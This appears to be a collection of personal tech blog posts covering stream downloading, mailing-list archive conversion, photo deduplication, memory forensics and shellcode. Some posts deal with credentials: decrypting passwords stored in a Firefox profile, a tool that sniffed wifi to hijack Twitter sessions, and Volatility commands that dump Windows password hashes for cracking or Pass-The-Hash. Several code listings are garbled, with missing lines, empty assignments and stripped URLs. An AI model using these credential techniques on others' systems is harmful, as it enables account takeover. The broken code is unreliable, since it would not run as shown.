Finding Maloney

Every so often I feel the need to replace the music coming out of my speakers with an audio drama. I used to listen to Maloney which is a detective story with, well, weird plots. The station used to provide MP3 files for download but since they revamped their website that is gone as the new one only provides flash streaming.

As far as I know, there is only one proper library to access media via Adobe HDS. There are two attempts and a PHP script.

There is, however, a little trick making things easier. The website exposes a HTML5 player if it thinks you’re a moron. Fortunately, it’s easy to make other people think that. The easiest thing to do is to have an IPaid User-Agent header. The website will play the media not via Adobe HDS (and flash) but rather via a similar, probably Apple HTTP Live Streaming, method. And that uses a regular m3u playlist with loads of tiny AAC fragments 🙂

The address of that playlist is easily guessable and I coded up a small utility here. It will print the ways to play the latest Maloney episode. You can then choose to either use HDS or the probably more efficient AAC version.

$ python ~/vcs/findmaloney/ 
mplayer -playlist,q10,q20,.mp4.csmil/master.m3u8

livestreamer "hds://,q10,q20,.mp4.csmil/manifest.f4m" best


Converting Mailman archives (mboxes) to maildir

I wanted to search discussions on mailing lists and view conversations. I didn’t want to use some webinterface because that wouldn’t allow me to search quickly and offline. So making my mail client aware of these emails seemed to be the way to go. Fortunately, the GNOME mailinglists are mbox archived. So you download the entire traffic in a standardised mbox.

But how to properly get this into your email clients then? I think Thunderbird can import mbox natively. But I wanted to access it from other clients, too, so I needed to make my server aware of these emails. Of course, I configured my mailserver to use maildir, so some conversion was needed.

I will present my experiences dealing with this problem. If you want to do similar things, or even only want to import the mbox directly, this post might be for you.

The archives

First, we need to get all the archives. As I had to deal with a couple of mailinglists and more than a couple of month, I couldn’t be arsed to click every single mbox file manually.

The following script scrapes the mailman page. It makes use of the interesting Splinter library, basically a wrapper around selenium and other browsers for Python.

#!/usr/bin/env python

import getpass
from subprocess import Popen, list2cmdline
import sys

import splinter

def fill_password(b, username=None, password=None):
    if not username:
        username = getpass.getpass('username: ')
    if not password:
        password = getpass.getpass('password: ')
    b.fill('username', username)
    b.fill('password', password)

def main(url, username=None):
    b = splinter.Browser()
        #url = ''
        if 'Password' in b.html:
            fill_password(b, username=username)

        links = [l['href'] for l in b.find_link_by_partial_text('Text')]

        cookie = b.driver.get_cookies()[0]
        cookie_name = cookie['name']
        cookie_value = cookie['value']
        cookie_str = "Cookie: {name}={value}".format(name=cookie_name, value=cookie_value)
        wget_cookie_arg = '--header={0}'.format(cookie_str)
        #print  wget_cookie_arg

        for link in links:
            #print link
            cmd = ['wget', wget_cookie_arg, link]
            print list2cmdline(cmd)
            # pipe that to "parallel -j 8"


if __name__ == '__main__':
    site = sys.argv[1]
    user = sys.argv[2]
    if site.startswith('http'):
        url = '{0}'.format(site)
    main(username=user, url=url)


You can download the thing, too.

I use splinter because handling cookies is not fun as well as parsing the web page. So I just use whatever is most convenient for me, I wanted to get things done, after all. The script will print a line for each link it found, nicely prefixed with wget and its necessary arguments for the authorization cookie. You can pipe that to sh but if you want to download many month, you want to do it in parallel. And fortunately, there is an app for that!

Conversion to maildir

After having received the mboxes, it turned out to be a good idea nonetheless to convert to maildir; if only to extract properly formatted mails only and remove duplicates.

I came around from 2004 quite soon, but it is broken. It cannot parse the mboxes I have properly. It will create broken mails with header lingering around as it seems to be unable to detect the beginning of new mails reliably. It took me a good while to find the problem though. So again, be advised, do not use mb2md 3.20.

As I use mutt myself I found this blog article promising. It uses mutt to create a mbox out of a maildir. I wanted it the other way round, so after a few trial and errors, I figured that the following would do what I wanted:

mutt -f mymbox -e 'set mbox_type=maildir; set confirmcreate=no; set delete=no; push "T.*;s/tmp/mymuttmaildir"'

where “mymbox” is your source file and “/tmp/mymuttmaildir” the target directory.

This is a bit lame right? We want to have parameters, because we want to do some batch processing on many archive mboxes.

The problem is, though, that the parameters are very deep inside the quotes. So just doing something like

mutt -f $source -e 'set mbox_type=maildir; set confirmcreate=no; set delete=no; push "T.*;s$target"'

wouldn’t work, because the $target would be interpreted as a raw string due to the single quotes. And I couldn’t find a way to make it work so I decided to make it work with the language that I like the most: Python. So an hour or so later I came up with the following which works (kinda):

import os
import subprocess
source = os.environ['source']
destination = os.environ['destination']

conf = 'set mbox_type=maildir; set confirmcreate=no; set delete=no; push "T.*;s{0}"'.format(destination)

cmd = ['mutt', '-f', source, '-e', conf]

But well, I shouldn’t become productive just yet by doing real work. Mutt apparently expects a terminal. It would just prompt me with “No recipients were specified.”.

So alright, this unfortunately wasn’t what I wanted. I you don’t need batch processing though, you might very well go with mutt doing your mbox to maildir conversion (or vice versa).

Damnit, another two hours or more wasted on that. I was at the point of just doing the conversion myself. Shouldn’t be too hard after all, right? While researching I found that Python’s stdlib has some email related functions *yay*. Some dude on the web wrote something close to what I needed. I beefed it up a very little bit and landed with the following:

#!/usr/bin/env python


import datetime
import email
import email.Errors
import mailbox
import os
import sys
import time

def msgfactory(fp):
        return email.message_from_file(fp)
    except email.Errors.MessageParseError:
        # Don't return None since that will
        # stop the mailbox iterator
        return ''
dirname = sys.argv[1]
inbox = sys.argv[2]
fp = open(inbox, 'rb')
mbox = mailbox.UnixMailbox(fp, msgfactory)

        storedir = os.mkdir(dirname, 0750)
        os.mkdir(dirname + "/new", 0750)
        os.mkdir(dirname + "/cur", 0750)

count = 0
for mail in mbox:
        #hammertime = time.time() # mail.get('Date', time.time())
        hammertime = datetime.datetime(*email.utils.parsedate(mail.get('Date',''))[:7]).strftime('%s')
        hostname = 'mb2mdpy'
        filename = dirname + "/cur/%s%d.%s:2,S" % (hammertime, count, hostname)
        mail_file = open(filename, 'w+')

print "Processed {0} mails".format(count)

And it seemed to work well! It recovered many more emails than the Perl script (hehe) but the generated maildir wouldn’t work with my IMAP server. I was confused. The mutt maildirs worked like charm and I couldn’t see any difference to mine.

I scped the file onto my .maildir/ on my server, which takes quite a while because scp isn’t all too quick when it comes to many small files. Anyway, it wouldn’t necessarily work for some reason which is way beyond me. Eventually I straced the IMAP server and figured that it was desperately looking for a tmp/ folder. Funnily enough, it didn’t need that for other maildirs to work. Anyway: Lesson learnt: If your dovecot doesn’t play well with your maildir and you have no clue how to make it log more verbosely, check whether you need a tmp/ folder.

But I didn’t know that so I investigated a bit more and I found another PERL script which converted the emails fine, too. For some reason it put my mails in “.new/” and not in “.cur/“, which the other tools did so far. Also, it would leave the messages as unread which I don’t like.

Fortunately, one (more or less) only needs to rename the files in a maildir to end in S for “seen”. While this sounds like a simple

for f in maildir/cur/*; do mv ${f} ${f}:2,S

it’s not so easy anymore when you have to move the directory as well. But that’s easily being worked around by shuffling the directories around.

Another, more annoying problem with that is “Argument list too long” when you are dealing with a lot of files. So a solution must involve “find” and might look something like this: find ${CUR} -type f -print0 | xargs -i -0 mv '{}' '{}':2,S


There was, however, a very annoying issue left: Duplicates. I haven’t investigated where the duplicates came from but it didn’t matter to me as I didn’t want duplicates even if the downloaded mbox archive contained them. And in my case, I’m quite confident that the mboxes are messed up. So I wanted to get rid of duplicates anyway and decided to use a hash function on the file content to determine whether two file are the same or not. I used sha1sum like this:

$ find maildir/.board-list/ -type f -print0 | xargs -0 sha1sum   | head
c6967e7572319f3d37fb035d5a4a16d56f680c59  maildir/.board-list/cur/1342797208.000031.mbox:2,
2ea005ec0e7676093e2f488c9f8e5388582ee7fb  maildir/.board-list/cur/1342797281.000242.mbox:2,
a4dc289a8e3ebdc6717d8b1aeb88959cb2959ece  maildir/.board-list/cur/1342797215.000265.mbox:2,
39bf0ebd3fd8f5658af2857f3c11b727e54e790a  maildir/.board-list/cur/1342797210.000296.mbox:2,
eea1965032cf95e47eba37561f66de97b9f99592  maildir/.board-list/cur/1342797281.000114.mbox:2,

and if there were two files with the same hash, I would delete one of them. Probably like so:

    #!/usr/bin/env python
    import os
    import sys

    hashes = []
    for line in sys.stdin.readlines():
        hash, fname = line.split()
        if hash in hashes:

But it turns out that the following snippet works, too:

find /tmp/maildir/ -type f -print0 | xargs -0 sha1sum | sort | uniq -d -w 40 | awk '{print $2}' | xargs rm

So it’ll check the files for the same contents via a sha1sum. In order to make uniq detect equal lines, we need to give it sorted input. Hence the sort. We cannot, however, check the whole lines for equality as the filename will show up in the line and it will of course be different. So we only compare the size of the hex representation of the hash, in this case 40 bytes. If we found such a duplicate hash, we cut off the hash, take the filename, which is the remainder of the line, and delete the file.

Phew. What a trip so far. Let’s put it all together:

The final thing


umask 077




mkdir -p ${CUR}
mkdir -p ${NEW}
mkdir -p ${TMP}

for f in  /tmp/${LIST}/*; do /tmp/ ${LISTBASE} < ${f} ; done
mv ${CUR} ${CUR}.tmp
mv ${NEW} ${CUR}
mv ${CUR}.tmp ${NEW}
find ${CUR} -type f -print0 | xargs -i -0 mv '{}'  '{}':2,S
find ${CUR} -type f -print0 | xargs -0 sha1sum | sort | uniq -d -w 40 | awk '{print $2}' | xargs rm

And that’s handling email in 2012…

Dump Firefox passwords using Python (and libnss)

I was travelling and I didn’t have my Firefox instance on my laptop. I wanted, however, access some websites and the passwords were stored safely in my Firefox profile at home. Needless to say that I don’t upload my passwords to someone’s server. Back in the day, when I first encountered that problem, there were only ugly options to run the server yourself. Either some PHP garbage or worse: some Java Webapp. I only have so many gigabytes of RAM so I didn’t go that route. FWIW: Now you have a nice Python webapp and it might be interesting to set that up at some stage.

I could have copied the profile to my laptop and then ran Firefox with that profile. But as I use Zotero my profile is really big. And it sounds quite insane, because I only want to get hold of my 20 byte password, and not copy 200MB for that.

Another option might have been to run the Firefox remotely and do X-forwarding to my laptop. But that’d be crucially slow and I thought that I was suffering enough already.

So. I wanted to extract the passwords from the Firefox profile at home. It’s my data after all, right? Turns out, that Firefox (and Thunderbird for that matter) store their passwords encryptedly in a SQLite database. So the database itself is not necessarily encrypted, but the contained data. Turns out later, that you can as well encrypt the database (to then store encrypted passwords).

So a sample line in that database looks like this:

$ sqlite3 signons.sqlite 
SQLite version 3.7.11 2012-03-20 11:35:50
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .schema
CREATE TABLE moz_deleted_logins (id                  INTEGER PRIMARY KEY,guid                TEXT,timeDeleted         INTEGER);
CREATE TABLE moz_disabledHosts (id                 INTEGER PRIMARY KEY,hostname           TEXT UNIQUE ON CONFLICT REPLACE);
CREATE TABLE moz_logins (id                 INTEGER PRIMARY KEY,hostname           TEXT NOT NULL,httpRealm          TEXT,formSubmitURL      TEXT,usernameField      TEXT NOT NULL,passwordField      TEXT NOT NULL,encryptedUsername  TEXT NOT NULL,encryptedPassword  TEXT NOT NULL,guid               TEXT,encType            INTEGER, timeCreated INTEGER, timeLastUsed INTEGER, timePasswordChanged INTEGER, timesUsed INTEGER);
CREATE INDEX moz_logins_encType_index ON moz_logins(encType);
sqlite> SELECT * FROM moz_logins LIMIT 2;
1||Non-Pulic Wiki||||MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECFKoZIhvcNAwcECFKoZIhvcNAwcECF|MDIEEPgAAAAAAAAAAAAAACJ75YchXUCAAAAAEwFAYIKoZIhvcNAwcE==|{4711r2d2-2342-4711-6f00b4r6g}|1|1319297071173|1348944692451|1319297071173|6

You see the columns you’d more or less expect but you cannot make sense out of the actual data.

If I read correctly, some form of 3DES is used to protect the data. But I couldn’t find out enough to decrypt it myself. So my idea then was to reuse the actual libraries that Firefox uses to read data from the database.

I first tried to find examples in the Firefox code and found pwdecrypt. And I even got it built after a couple of hours wrestling with the build system. It’s not fun. You might want to try to get hold of a binary from your distribution.

So my initial attempt was to call out to that binary and parse its output. That worked well enough, but was slow. Also not really elegant and you might not have or not be able to build the pwdecrypt program. Also, it’s a bit stupid to use something different than the actual Firefox. I mean, the code doing the necessary operations is already on your harddisk, so it seems much smarter to reuse that.

Turns out, there is ffpwdcracker to decrypt passwords using libnss. It’s not too ugly using Python’s ctypes. So that’s a way to go. And in fact, it works well enough, after cleaning up loads of things.

Example output of the session is here:

$ python | head
FirefoxSite(id=1, hostname=u'', httpRealm=u'Non-Pulic Wiki', formSubmitURL=None, usernameField=u'', passwordField=u'', encryptedUsername=u'MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECFKoZIhvcNAwcECFKoZIhvcNAwcECF', encryptedPassword=u'MDIEEPgAAAAAAAAAAAAAACJ75YchXUCAAAAAEwFAYIKoZIhvcNAwcE==', guid=u'{4711r2d2-2342-4711-6f00b4r6g}', encType=1, plain_username='wikiuser', plain_password='mypass')
FirefoxSite(id=2, hostname=u'', httpRealm=u'ToplevelAuth', formSubmitURL=None, usernameField=u'', passwordField=u'', encryptedUsername=u'MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECIy5HFAYIKoZIhtnRFAYIKoZIh', encryptedPassword=u'MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvFAYIKoZIhBD6PFAYIKoZIh', guid=u'{45abc67852-4222-45cc-dcc1-729ccc91ceee}', encType=1, plain_username='suspect', plain_password='susicious')

The file is here:

It has also been extended to work with Thunderbird and, the bigger problem, with encrypted databases. I couldn’t really find out, how that works. I read some code, especially the above mentioned pwdecrypt program, but couldn’t reimplement it, because I couldn’t find the functions used in the libraries I had. At some stage, I just explained the problem to a friend of mine and while explaining and documenting, which things didn’t work, I accidentally found a solution \o/ So now you can also recover your Firefox passwords from an encrypted storage.


Uh, I totally forgot to blog about a funny thing that happened almost a year ago which I just mentioned slightly *blush*. So you probably know this Internet thing and if you’re one of the chosen and carefully gifted ones, you confused it with the Web. And if you’re very special you do this Twitter thing and expose yourself and your communications pattern to some dodgy American company. By now, all of the following stuff isn’t of much interest anymore, so you might as well quit reading.

It all happenend while being at There was a contest run by Nokia which asked us to write some cool application for the N900. So I did. I packaged loads of programs and libraries to be able to put the wireless card into monitor mode. Then I wiretapped (haha) the wireless and sniffed for Twitter traffic. Once there was a Twitter session going on, I sniffed the necessary authentication information was extracted and a message was posted on the poor user’s behalf. I coined that Pwnitter, because it would pwn you via Twitter.

That said, we had great fun at, where nearly everybodies Twitter sessions got hijacked 😉 Eventually, people stopped using plain HTTP and moved to end to end encrypted sessions via TLS.

Anyway, my program didn’t win anything because as it turned out, Nokia wanted to promote QML and hence we were supposed to write something that makes use of that. My program barely has a UI… It is made up of one giant button…

Despite not getting lucky with Nokia, the community apparently received the thing very well.

So there is an obvious big elephant standing in the room asking why would you want to “hack” Twitter. I’d say it’s rather easy to answer. The main point being that you should use end to end encryption when doing communication. And the punchline comes now: Don’t use a service that doesn’t offer you that by default. Technically, it wouldn’t be much of a problem to give you an encrypted link to send your messages. However, companies tend to be cheap and let you suffer with a plain text connection which can be easily tapped or worse: manipulated. Think about it. If the company is too frugal to protect your communication from pimpled 13yr olds with a wifi card, why would you want to use their services?

By now Twitter (actually since March 2011, making it more than 6 month ago AFAIK) have SSL enabled by default as far as I can tell. So let’s not slash Twitter for not offering an encrypted link for more than 5 years (since they were founded back in 2006). But there are loads of other services that suffer from the very same basic problem. Including Facebook. And it would be easy to adapt the existing solution stuff like Facebook, flickr, whatnot.

A noteable exception is Google though. As far as I can see, they offer encryption by default except for the search. If there is an unencrypted link, I invite you to grab the sources of Pwnitter and build your hack.

If you do so, let me give you an advise as I was going nuts over a weird problem with my Pwnitter application for Maemo. It’s written in Python and when building the package with setuptools the hashbang would automatically be changed to “#!/scratchbox/tools/bin/python“, instead of, say, “/usr/bin/python“.

I tried tons of things for many hours until I realised, that scratchbox redirects some binary paths.

However, that did not help me to fix the issue. As it turned out, my problem was that I didn’t depend on a python-runtime during build time. Hence the build server picked scratchbox’s python which was located in /scratchbox/bin.

Sifting through a lot of similar photos

To keep the amount of photos in my photo library sane, I had to sift through many pictures and get rid of redundant ones. I defined redundancy as many pictures taken at the same time. Thus I had to pick one of the redundant pictures and delete the other ones.

My strategy so far was to use Nautilus and Eye of GNOME to spot pictures of the same group and delete all but the best one.

I realised that photos usually show the same picture if they were shot at the same time, i.e. many quick shots after another. I also realised that usually the best photograph was the biggest one in terms on bytes in JPEG format.

To automate the whole selection and deletion process, I hacked together a tiny script that stupidly groups files in a directory according to their mtime and deletes all but the biggest one.

Before deletion, it will show the pictures with eog and ask whether or not to delete the other pictures.

It worked quite well and helped to quickly weed out 15% of my pictures 🙂

I played around with another method: Getting the difference of the histograms of the images, to compare the similarity. But as the pictures were shot with a different exposure, the histograms were quite different, too. Hence that didn’t work out very well. But I’ll leave it in, just for reference.

So if you happen to have a similar problem, feel free to grab the following script 🙂

#!/usr/bin/env python
import collections
import math
import os
from os.path import join, getsize, getmtime
import operator
import subprocess
import sys
subprocess.Popen.__enter__ = lambda self: self
subprocess.Popen.__exit__ = lambda self, type, value, traceback: self.kill()
directory = '.'
GET_RMS = False
mtimes = collections.defaultdict(list)
def get_picgroups_by_time(directory='.'):
	for root, dirs, files in os.walk(directory):
		for name in files:
			fname = join(root, name)
			mtime = getmtime(fname)
	# It's gotten a bit messy, but a OrderedDict is available in Python 3.1 hence this is the manually created ordered list.
	picgroups = [v for (k, v) in sorted([(k, v) for k, v in mtimes.iteritems() if len(v) >= THRESHOLD])]
	return picgroups
def get_picgroups(directory='.'):
	return get_picgroups_by_time()
picgroups = get_picgroups(directory)
print 'Got %d groups' % len(picgroups)
def get_max_and_picgroups(picgroups):
	for picgroup in picgroups:
		max_of_group = max(picgroup, key=lambda x: getsize(x))
		print picgroup
		print 'max: %s: %d' % (max_of_group, getsize(max_of_group))
		if GET_RMS:
			import PIL.Image
			last_pic = picgroup[0]
			for pic in picgroup[1:]:
				image1 =
				image2 =
				rms = math.sqrt(reduce(operator.add, map(lambda a,b: (a-b)**2, image1, image2))/len(image1))
				print 'RMS %s %s: %s' % (last_pic, pic, rms)
			last_pic = pic
		yield (max_of_group, picgroup)
max_and_picgroups = get_max_and_picgroups(picgroups)
def decide(prompt, decisions):
	import termios, fcntl, sys, os, select
	fd = sys.stdin.fileno()
	oldterm = termios.tcgetattr(fd)
	newattr = oldterm[:]
	newattr[3] = newattr[3] & ~termios.ICANON & ~termios.ECHO
	termios.tcsetattr(fd, termios.TCSANOW, newattr)
	oldflags = fcntl.fcntl(fd, fcntl.F_GETFL)
	fcntl.fcntl(fd, fcntl.F_SETFL, oldflags | os.O_NONBLOCK)
	print prompt
	decided = None
		while not decided:
			r, w, e =[fd], [], [])
			if r:
				c =
				print "Got character", repr(c)
				decision_made = decisions.get(c, None)
				if decision_made:
					decided = True
	    termios.tcsetattr(fd, termios.TCSAFLUSH, oldterm)
	    fcntl.fcntl(fd, fcntl.F_SETFL, oldflags)
for max_of_group, picgroup in max_and_picgroups:
	cmd = ['eog', '-n'] + picgroup
	print 'Showing %s' % ', '.join(picgroup)
	def delete_others():
		to_delete = picgroup[:]
		print 'deleting %s' % ', '.join (to_delete)
		[os.unlink(f) for f in to_delete]
	with subprocess.Popen(cmd) as p:
		decide('%s is max, delete others?' % max_of_group, {'y': delete_others, 'n': lambda: ''})

Volatility Memory Forensics Framework for Ubuntu

After having obtained a memory image using FireWire (or other methods), I eventually wanted to actually examine what was going on as the image was taken.

Installing Volatility

Volatility is a framework that helps ripping interesting information out of a Windows XP memory dump. Although “strings” and “dd” are good tools, analysing 1GB of binary crap is not really a fun thing to do. Volatility knows how to parse the memory and allows to do fancy stuff on the memory.

Installation of Volatility is a bit weird because it is obviously written for Windows and they hardcode the path of a Windows Python interpreter. Also, their module system is a bit weird, but in fairness works at least alrightish. The application itself is funnily packaged. They don’t really make use of namespaces and depend on modules being locally available.

That made it painful produce a Debian/Ubuntu package, but I made it and you can find it in my PPA. To install volatility through that PPA, you might want to do a:

sudo add-apt-repository ppa:ubuntu-bugs-auftrags-killer/muelli && sudo apt-get update && sudo apt-get install volatility

I think I packaged every available module so that you don’t need to go through 13 stupid^W very helpful but funny pages. You can see the available commands via plugins here:

muelli@xbox:/tmp$ volatility
/usr/lib/pymodules/python2.6/forensics/win32/ DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
*** Unable to load module kernel_hooks: No module named pefile
*** Unable to load module usermode_hooks2: No module named pefile
*** Unable to load module malfind2: No module named pydasm
*** Unable to load module kernel_hooks: No module named pefile
*** Unable to load module usermode_hooks2: No module named pefile
*** Unable to load module malfind2: No module named pydasm

	Volatile Systems Volatility Framework v1.3
	Copyright (C) 2007,2008 Volatile Systems
	Copyright (C) 2007 Komoku, Inc.
	This is free software; see the source for copying conditions.

	usage: volatility cmd [cmd_opts]

	Run command cmd with options cmd_opts
	For help on a specific command, run 'volatility cmd --help'

	Supported Internal Commands:
		connections    	Print list of open connections
		connscan       	Scan for connection objects
		connscan2      	Scan for connection objects (New)
		datetime       	Get date/time information for image
		dlllist        	Print list of loaded dlls for each process
		dmp2raw        	Convert a crash dump to a raw dump
		dmpchk         	Dump crash dump information
		files          	Print list of open files for each process
		hibinfo        	Convert hibernation file to linear raw image
		ident          	Identify image properties
		memdmp         	Dump the addressable memory for a process
		memmap         	Print the memory map
		modscan        	Scan for modules
		modscan2       	Scan for module objects (New)
		modules        	Print list of loaded modules
		procdump       	Dump a process to an executable sample
		pslist         	Print list of running processes
		psscan         	Scan for EPROCESS objects
		psscan2        	Scan for process objects (New)
		raw2dmp        	Convert a raw dump to a crash dump
		regobjkeys     	Print list of open regkeys for each process
		sockets        	Print list of open sockets
		sockscan       	Scan for socket objects
		sockscan2      	Scan for socket objects (New)
		strings        	Match physical offsets to virtual addresses (may take a while, VERY verbose)
		thrdscan       	Scan for ETHREAD objects
		thrdscan2      	Scan for thread objects (New)
		vaddump        	Dump the Vad sections to files
		vadinfo        	Dump the VAD info
		vadwalk        	Walk the vad tree

	Supported Plugin Commands:
		cachedump      	Dump (decrypted) domain hashes from the registry
		cryptoscan     	Find TrueCrypt passphrases
		driverirp      	Print driver IRP function addresses
		driverscan     	Scan for driver objects
		fileobjscan    	Scan for file objects
		getsids        	Print the SIDs owning each process
		hashdump       	Dump (decrypted) LM and NT hashes from the registry
		hivedump       	Dump registry hives to CSV
		hivelist       	Print list of registry hives
		hivescan       	Scan for _CMHIVE objects (registry hives)
		idt            	Print Interrupt Descriptor Table (IDT) entries
		intobjscan     	Scan for interrupt handler registrations
		keyboardbuffer 	Print BIOS keyboard buffer
		lsadump        	Dump (decrypted) LSA secrets from the registry
		memmap_ex_2    	Print the memory map
		moddump        	Dump loaded kernel modules to disk.
		mutantscan     	Scan for mutant (mutex) objects
		objtypescan    	Scan for object type objects
		orphan_threads 	Find kernel threads that don't map back to loaded modules
		printkey       	Print a registry key, and its subkeys and values
		pslist_ex_1    	Print list running processes
		pslist_ex_3    	Print list running processes
		ssdt           	Display SSDT entries
		suspicious     	Find suspicious command lines and display them
		symlinkobjscan 	Scan for symbolic link objects
		thread_queues  	Print message queues for each thread
		usrdmp_ex_2    	Dump the address space for a process

	Example: volatility pslist -f /path/to/my/file

So yeah, some warnings are due to missing dependencies. But it’s all packaged with the exception of pydasm. So if you have enough time at your hands, please do that 😉

If you have another module that you want to have added or if anything doesn’t work, please give me a shout.

Using Volatility

An interesting question might be whether someone has viewed a given picture. We know that the physical address space contains many 4kB sized pages. This is a problem for analysing the memory because we usually expect data to be larger than 4kB and this data is most likely fragmented in physical memory. So extracting a picture from the raw memory dump, while possible would be problematic. Our approach was to create a contiguous dump of a processes virtual memory address space and to search our target image in that memory dump. Fortunately, volatility is already able to dump a process’ virtual memory address space, which leaves us with the admittedly not too hard task of finding and extracting binary data of that picture.

We started by generating a list of running processes from the RAM image to identify the process ID of our target process (firefox in our case):

$ volatility pslist -f memorydump
Name                 Pid    PPid   Thds   Hnds   Time
firefox.exe          2212   2720   22     320    Sat Mar 20 14:33:29 2010

Afterwards, we dump the processes virtual memory, using the PID of that process, into a file. Using this we can start searching for our target picture in the process memory dump:

$ volatility memdmp -p 2212 -f memorydump

If we knew that the picture file that is being searched for was a JPEG and we found that these files have a start and end byte sequence 0xffd8 and 0xffd9 respectively. While this was helpful information we still need to narrow down our search. Using xxd we can take small byte sequences from the body of original picture and search for this sequence in the process’ ID image file. Using this method we are able to find the start of the JPEG picture, in the firefox process memory dump. Here, we can see that the start of the JPEG image marker (0xffd8) occurs at address 0x4e20008 in the image dump:

4e20000: 120e 0200 120e 0200 ffd8 ffe0 0010 4a46  ..............JF
4e20010: 4946 0001 0200 0064 0064 0000 ffec 0011  IF.....d.d......
4e20020: 4475 636b 7900 0100 0400 0000 3c00 00ff  Ducky.......<...

Then from this point forwards in the file, a search for the JPEG end of file byte sequence (0xffd9) gives us the address of the end of the JPEG picture in the memory image file. Here we can see that the JPEG picture ends at address 0x4e40e19:

4e40e00: d5c2 5047 3401 82c7 b75c 5638 2624 461d  ..PG4....\V8&$F.
4e40e10: 4c54 f6b1 3d3c 4b3f ffd9 6500 2800 2700  LT..=<K?..e.(.'.
4e40e20: 7000 7800 2700 2c00 2700 2700 2900 3b00  p.x.'.,.'.'.).;.

Then using dd with a block size of one byte, and knowing the start and end addresses of our picture image obtained above, we can get python to work out the decimal number of bytes to skip into the file and also the decimal number of bytes to count or read from that position.

$ dd if=2212.dmp bs=1 skip=$(python -c 'print 0x4e20008')
         count=$(python -c 'print 0x4e40e20 - 0x4e20008') > recovered.jpg
134674+0 records in
134674+0 records out
134674 bytes (135 kB) copied, 0.812532 s, 166 kB/s

To verify that the picture extracted from RAM is the same as original picture we can get as hash of both files:

$ sha256sum Goofy\ Finger.jpg recovered.jpg
e87db764d0f2baccdd5b68dd0324c31ee2281a787d27de38c48e6e9c300b2349  Goofy Finger.jpg
e87db764d0f2baccdd5b68dd0324c31ee2281a787d27de38c48e6e9c300b2349  recovered.jpg
$ display recovered.jpg

Collecting Password Hashes

For password recovery purposes one might be interested in obtaining the hashed passwords of a running (Windows) system. As a nice side effect, we will gain all existing users on that system. Fortunately, a plugin for volatilty exists which allows dumping the password hashes. The process, however, is a bit cumbersome and could be more automated in the future. We start off finding Registry data in the memory using the hivescan command which will give us the offset of the data in memory. We scan two of these memory locations to make sure that we identify the Security and the System hive whichs addresses we have to remember (in our case 0xe1035b60 and 0xe16bdb60). With these addresses, we run the volatility hashdump tool which happily prints all the password hashes.

$ python volatility hivescan -f memorydump
/tmp/volatility-1.3b/forensics/win32/ DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Offset          (hex)
58175496        0x377b008
58202976        0x3781b60
63080280        0x3c28758
118954848       0x7171b60
268880736       0x1006cb60
292773896       0x11736008
294130688       0x11881400
414687240       0x18b7a008
421538656       0x19202b60
424552368       0x194e27b0
425945952       0x19636b60
436572168       0x1a059008
705187848       0x2a085008
$ python volatility hivelist -f memorydump  -o 0x377b008
/tmp/volatility-1.3b/forensics/win32/ DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Address      Name
0xe1e8cb60   \DaS\joe\LS\AD\Microsoft\Windows\UsrClass.dat
0xe261f008   \DaS\joe\NTUSER.DAT
0xe1e65b60   \DaS\LocalService\LS\AD\Microsoft\Windows\UsrClass.dat
0xe1f14008   \DaS\LocalService\NTUSER.DAT
0xe1e797b0   \DaS\NetworkService\LS\AD\Microsoft\Windows\UsrClass.dat
0xe1e03008   \DaS\NetworkService\NTUSER.DAT
0xe1776008   \WINDOWS\system32\config\software
0xe1756400   \WINDOWS\system32\config\default
0xe16e3b60   \WINDOWS\system32\config\SECURITY
0xe16bdb60   \WINDOWS\system32\config\SAM
0xe14b8758   [no name]
0xe1035b60   \WINDOWS\system32\config\system
0xe102e008   [no name]
$ python volatility hivelist -f memorydump  -o 0x1a059008
/tmp/volatility-1.3b/forensics/win32/ DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
Address      Name
0xe1e03008   \Documents and Settings\NetworkService\NTUSER.DAT
0xe1776008   \WINDOWS\system32\config\software
0xe1756400   \WINDOWS\system32\config\default
0xe16e3b60   \WINDOWS\system32\config\SECURITY  <-- Security Hive
0xe16bdb60   \WINDOWS\system32\config\SAM
0xe14b8758   [no name]
0xe1035b60   \WINDOWS\system32\config\system    <-- System Hive
0xe102e008   [no name]
0xe1e8cb60   \DaS\joe\LS\AD\Microsoft\Windows\UsrClass.dat
0xe261f008   \DaS\joe\NTUSER.DAT
0xe1e65b60   \DaS\LocalService\LS\AD\Microsoft\Windows\UsrClass.dat
0xe1f14008   \DaS\LocalService\NTUSER.DAT
0xe1e797b0   \DaS\NetworkService\LS\AD\Microsoft\Windows\UsrClass.dat
$ python volatility hashdump -f memorydump  -y 0xe1035b60 -s 0xe16bdb60
/tmp/volatility-1.3b/forensics/win32/ DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha

Having obtained these hashes, one could use, i.e. Ophcrack to recover the password. A web based interface is available and successfully recovered each and every password (i.e.: empty, BLOGGS, MARY123, SMITH, KO*5VUMOWUKGAD). Advanced attacks such as Pass-The-Hash might also be possible.

It would be interesting to know, how to obtain password hashes from a running Linux or Mac system. The technique should be straight forward: Obtain RAM, get your own hash and search for this well known hash in memory. The harder work will then be to identify the data structures in which the hashes are embedded to reliably identify the hash storage for generality.

Convert GDB output to C-style shellcode

Due to developing shellcode during the recent days, I ended up needing to convert GDB output to C style strings very often. My sample output from GDB looks like this:
(gdb) disassemble function
Dump of assembler code for function function:
0x08048254 <function+0>:    push   %ebp
0x08048255 <function+1>:    mov    %esp,%ebp
0x08048257 <function+3>:    pop    %ebp
0x08048258 <function+4>:    jmp    0x8048268 <begin>
0x0804825a <function+6>:    inc    %ecx
0x0804825b <function+7>:    inc    %ecx
0x0804825c <function+8>:    inc    %ecx
0x0804825d <function+9>:    inc    %ecx
0x0804825e <function+10>:    jmp    0x80482b3 <bottom>
0x08048260 <function+12>:    pop    %esi
0x08048261 <function+13>:    mov    %esi,%esp
0x08048263 <function+15>:    sub    $0x78,%esp
0x08048266 <function+18>:    xor    %edi,%edi
0x08048268 <begin+0>:    mov    %edi,%eax
0x0804826a <begin+2>:    inc    %eax
0x0804826b <begin+3>:    inc    %eax
0x0804826c <begin+4>:    int    $0x80
